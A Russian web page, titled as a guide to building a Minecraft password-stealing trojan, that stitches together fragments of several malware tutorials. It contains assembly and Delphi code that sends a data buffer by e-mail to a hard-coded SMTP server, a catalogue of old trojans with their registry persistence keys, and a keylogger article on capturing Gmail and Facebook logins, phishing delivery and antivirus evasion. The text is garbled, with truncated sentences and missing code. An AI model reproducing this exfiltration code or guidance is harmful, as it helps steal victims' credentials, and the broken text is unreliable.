Как создать троянский вирус ворующий пароли в майнкрафт
Tроян. По моему мнению, это очень маленькая
прога, способная отсылать некоторую
информацию на нужный e-mail и(или) закачивать и
запускать указанные файл(ы). В этой статье я
предоставлю некоторую информацию - уже,
наверно, всем известную, но . Итак, начну.
Письма отсылать и принимать можно не только
с помощью почтовой программы, а и с помощью
терминала удаленного доступа, посылая
серверу команды. Все команды POP3 и SMTP
серверов приводить не буду - для получения
этой инфы есть поисковые системы, но о
необходимом минимуме расскажу.
Это совсем не значит, что письмо сразу
станет анонимным - в хидере будет наш
реальный IP-адрес. Для анонимного письма
нужно использовать анонимный SMTP, писать
бота, подделывать хидер (так, чтобы наш
адрес был как пересылочный) и т.п. На 100% это
все равно не спасет - все ведут логи. Для
получения существующего мыла заходим на
"Новый пользователь" и пишем какой-нибудь
стандарт "vasiliy@. " - если cервер напишет,
что такое имя уже есть, то . Кстати,
автоматизировав этот процесс, можно
получить лист рассылки сервака по словарю.
Это я отвлекся.
.486
.model flat,stdcall
option casemap:none
; Для инициализации сокета
wsadata WSADATA <>
sin sockaddr_in <>
Port dd 25
; ---------------------------
.DATA?
sock dd ?
buf db 255 dup (?)
; ---------------------------
; ---------------------------
; ---------------------------
.CODE
start:
; Инициализируем сокет для соединения с
212.42.64.8 - SMTP сервером
invoke WSAStartup,101h,addr wsadata
invoke socket,AF_INET,SOCK_STREAM,IPPROTO_IP
mov sock,eax
mov sin.sin_family,AF_INET
invoke htons,Port
mov sin.sin_port,ax
invoke inet_addr, addr MySmtp
mov sin.sin_addr, eax
; Соединение
invoke connect, sock, addr sin ,sizeof sin
; Получим от сервера ответ
invoke recv, sock, addr buf, sizeof buf, 0
; HELO SERVER
; Запускаем процу посимвольной отправки
строки
invoke Mys, addr HeloStr
; Получим от сервера ответ
invoke recv, sock, addr buf, sizeof buf, 0
; Выведем ответ сервера
invoke MessageBox,0,addr buf, addr HeloStr, MB_OK
; MAIL TO:
invoke Mys, addr FromStr
invoke recv, sock, addr buf, sizeof buf, 0
invoke MessageBox,0,addr buf, addr FromStr, MB_OK
; RCPT TO:
invoke Mys, addr RcptStr
invoke recv, sock, addr buf, sizeof buf, 0
invoke MessageBox,0,addr buf, addr RcptStr, MB_OK
; DATA
invoke Mys, addr DataStr
invoke recv, sock, addr buf, sizeof buf, 0
invoke MessageBox,0,addr buf, addr DataStr, MB_OK
; Отправка информации
invoke Mys, addr MyBuf
; .
invoke Mys, addr EndStr
invoke recv, sock, addr buf, sizeof buf, 0
invoke MessageBox,0,addr buf, addr EndStr, MB_OK
; QUIT
invoke Mys, addr QuitStr
invoke recv, sock, addr buf, sizeof buf, 0
invoke MessageBox,0,addr buf, addr QuitStr, MB_OK
; Закрываем сокет
invoke closesocket,sock
; Выходим
invoke ExitProcess,eax
; ---------------------------
; Проца посимвольной отправки данных
Mys proc SendStr : DWORD
; edi указывает на пришедшую строку
mov edi, SendStr
; цикл перебора
.WHILE TRUE
; если конец строки - выход из цикла
.BREAK .IF (byte ptr [edi] == 0 )
; отправка текущего символа
invoke send, sock, edi, 1, 0
; следующий символ
inc edi
.ENDW
ret
Mys endp
Вот файл "troyan_d.dpr" :
// Проца посимвольной отправки данных
procedure Mys(str: String);
var
I: Integer;
begin
for I:=1 to Length(str) do if send(sock,str[I],1,0)=SOCKET_ERROR then exit;
end;
// Закрываем сокет
closesocket(sock);
Второе. Предполагается, что я буду дальше
развивать эту тему. Идеи есть такие:
разобраться с firewall (посмотреть как основные
из них хранят инфу о доверенных приложениях
и вписывать туда свою прогу), рассмотреть
закачку и запуск файла на сервере (функции
"InternetOpen", "InternetCloseHandle", "InternetReadFile"
. ) и т.д. и т.п. Если тема интересная, то
пишите в отзывы.
Определяем IP
Во-первых, нам (то есть нашему трояну) нужно определить, где он оказался. Важной частью вашей информации является IP-адрес, который вы можете использовать для подключения к зараженному компьютеру в будущем.
Начнем писать код. Сразу импортируем библиотеки:
Обе библиотеки не поставляются с Python, поэтому, если они у тебя отсутствуют, их нужно установить командой pip .
Код получения внешнего и внутреннего адресов будет таким. Обрати внимание, что, если у жертвы несколько сетевых интерфейсов (например, Wi-Fi и Ethernet одновременно), этот код может вести себя неправильно.
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все немного сложнее.
Я выбрал сайт api. ipify. org , так как на выходе нам выдается только одна строка — наш внешний IP. Из связки публичный + локальный IP мы получим почти точный адрес устройства.
Вывести информацию еще проще:
Никогда не встречал конструкции типа print( f'<> ') ? Буква f означает форматированные строковые литералы. Простыми словами — программные вставки прямо в строку.
Строковые литералы не только хорошо смотрятся в вашем коде, они также помогают избежать таких ошибок, как сложение строк и добавление чисел (Python это не JavaScript!).
Acid Shiver - троян, который каждый раз использует разный порт, для управления серверной частью, используется телнет.
Троян состоит из двух файлов:
ACiD Setup.exe - конфигуратор трояна,
ACiD Shivers.exe - сам троян.
Конфигуратор: Используется для установки почтового ящика куда посылать информацию о запущенном сервере.
Клиент: Клиентом для данного трояна является телнет
(telnet).
Deep Throat 1.0
Обладает малым количеством функций по сравнению с аналогичными программами.
УСТАНОВКА СЕРВЕРА: Все как всегда, но есть одна маленькая особенность: он не копируется в директорию
Windows, а остается там, откуда его запустили, этот путь он и прописывает в реестре в разделе HKEY_LOCAL_MACHINE
\SOFTWARE\Microsoft\Windows\CurrentVersion\Run в параметре SystemDLL32.
Deep Throat 2.0
Сервер - должен быть запущен на компьютере жертвы. После запуска сервер создает файл systray.exe в каталоге Windows и в реестре в разделе HKEY_LOCAL_MACHINE
Software\Microsoft\Windows\CurrentVersion\Run у ключа Systemtray значение меняется с SystTray.Exe на
[WinPath]\systray.exe, где WinPath путь к Вашему каталогу Windows (например
c:\Windows\)
EXECUTER 2
Имеет мало функций управления, большинство из которых предназначены для того чтобы навредить жертве.
Сервер не конфигурируется, в автозапуск дописывается только в том случае, если послана соответствующая команда из клиента.
Действия: запретить двойные щелчки мыши, сменить все системные цвета на желтый, отключить
CTRL+ALT+DEL, перезагрузить компьютер, "бешеная" мышь (мышь прыгает по экрану), удаление файла
C:\Logo.sys и т.д.
FATAL NETWORK ERROR
GirlFriend (подружка)
Выдержки из оригинальной инструкции.
Подруга является программой, которая позволяет Вам получать информацию о приложениях работающих на удаленном компьютере. Это означает, что если компьютер подключенный к сети заражается ПОДРУГОЙ - Вы можете подключиться к этому PC и украсть с него такие вещи как: текст, который "зараженный" юзер вводит в любое окно, содержащее области пароля (телефон, login и т.д.); пароли, которые "инфицированный" пользователь вводит в поле для пароля.
Состоит из двух частей:
Сервер стандартно запускается на компьютере жертвы.
Эта программа напоминает собой SK Silencer.
Сервер - должен быть запущен на машине жертвы, после чего создается файл
C:\Windows\System\PServer.exe и в реестре HKEY_LOCAL_MACHINE
Software\Microsoft\Windows\CurrentVersion\RunServices создается ключ PServer с указанием на этот файл. Сервер по умолчанию использует ТСР порт 16969.
Remote Windows Shutdown
Remote Windows Shutdown - это не троян - утилита выключения/перезагрузки удаленного компьютера.
Состоит из сервера и клиента. Сервер: На сервере выставляется порт и пароль, а также режим: включен или выключен. Пароль обязателен. Серверная часть всегда видна.
Клиент: На клиенте выставляется IP-адрес, порт и пароль, а затем выбирается действие:
- Shutdown - выключить удаленный компьютер
- Reboot - перезагрузить удаленный компьютер
- Test - проверить работает ли сервер на удаленном компьютере
SK Silencer 1.0.0
SK Silencer - троян. Нет возможности скачивать/закачивать файлы и программа сама не дописывается в автозапуск Сервер видно в листе задач.
Сервер - стандартно запускается на удаленной машине, но он не дописывается в автозапуск. Этот троян больше предназначен для шуток над жертвой и не служит как средство воровства паролей или файлов.
Senna Spy Trojan / BackDoor Generator
Senna Spy Trojan/BackDoor Generator ver. 2.0 - генератор троянов. Он создает трояны с выбранными параметрами и сохраняет их в формате Visual Basic версий 4, 5 или 6, после этого остается только откомпилировать файлы и троян готов.
Как создать простого трояна на Python
Зачем кому-то писать вредоносное ПО на Python? Мы собираемся сделать это, чтобы изучить общие принципы разработки вредоносных программ, а в то же время вы сможете попрактиковаться в использовании этого языка и применить полученные знания для других целей. Кроме того, вредоносное ПО Python встречается в естественных условиях, и не все программы защиты от вирусов обращают на него внимание.
Конечно, приведенные в статье скрипты никоим образом не подходят для использования в боевых условиях — в них нет обфускации, принципы работы просты, как дважды два, и нет никаких вредоносных функций. Однако проявив немного изобретательности, их можно использовать для простых грязных уловок — например, выключения чьего-либо компьютера в классе или в офисе.
Пишем свое вредоносное ПО. Часть 1: Учимся писать полностью «не обнаружимый» кейлогер
Хакерский мир можно условно разделить на три группы атакующих:
1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.
2) «Byuers» — не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.
3) «Black Hat Сoders» — гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.
Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.
Зачем ИБ-персоналу эти сомнительные навыки?
Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.
Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.
Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.
Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:
Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:
Умный кейлогер
Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.
Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.
Вторая версия кода:
Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.
Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.
Еще более умный кейлогер
Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.
Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:
Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.
Бесплатно и полностью не обнаружим
В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.
Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?
Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.
В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.
Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.
В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.
Теория
Так что же такое троян? Вирус — это программа, основная задача которой — копировать самого себя. Червь активно распространяется по сети (типичные примеры — Petya и WannaCry), а троян — это скрытая вредоносная программа, маскирующаяся под «хорошее» ПО.
Читайте также: